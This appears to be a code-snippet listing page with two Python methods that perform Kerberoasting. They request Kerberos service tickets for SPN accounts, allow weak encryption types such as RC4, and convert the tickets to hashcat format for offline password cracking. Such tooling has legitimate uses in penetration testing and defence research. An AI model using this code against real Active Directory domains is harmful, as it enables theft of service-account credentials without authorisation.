示例#1
0
    def run(self, targets, override_etype=[2, 3, 16, 23, 17, 18]):
        """
		Requests TGS tickets for all service users specified in the targets list
		targets: list : the SPN users to request the TGS tickets for
		allhash: bool : Return all enctype tickets, ot just 23
		"""
        if not self.kcomm:
            try:
                self.kcomm = KerbrosComm(self.ccred, self.ksoc)
                self.kcomm.get_TGT()
            except Exception as e:
                logger.exception('Failed to get TGT ticket! Reason: %s' %
                                 str(e))

        tgss = []
        for target in targets:
            try:
                tgs, encTGSRepPart, key = self.kcomm.get_TGS(
                    target, override_etype=override_etype)
                tgss.append(tgs)
            except Exception as e:
                logger.debug(
                    'Failed to get TGS ticket for user %s/%s/%s! Reason: %s' %
                    (target.domain, str(
                        target.service), target.username, str(e)))
                continue

        results = []
        for tgs in tgss:
            results.append(TGSTicket2hashcat(tgs))

        return results
示例#2
0
    async def run(self, spns, override_etype=[2, 3, 16, 23, 17, 18]):
        try:
            kcomm = AIOKerberosClient(self.cred, self.target)
            await kcomm.get_TGT(override_etype=override_etype,
                                decrypt_tgt=False)
        except Exception as e:
            logger.exception('a')
            logger.debug('Error logging in! Reason: %s' % (str(e)))

        results = []
        for spn in spns:
            try:
                tgs, _, _ = await kcomm.get_TGS(spn,
                                                override_etype=override_etype)
                results.append(TGSTicket2hashcat(tgs))
            except Exception as e:
                logger.exception('b')
                logger.debug(
                    'Failed to get TGS ticket for user %s/%s/%s! Reason: %s' %
                    (spn.domain, str(spn.service), spn.username, str(e)))
                continue

        return results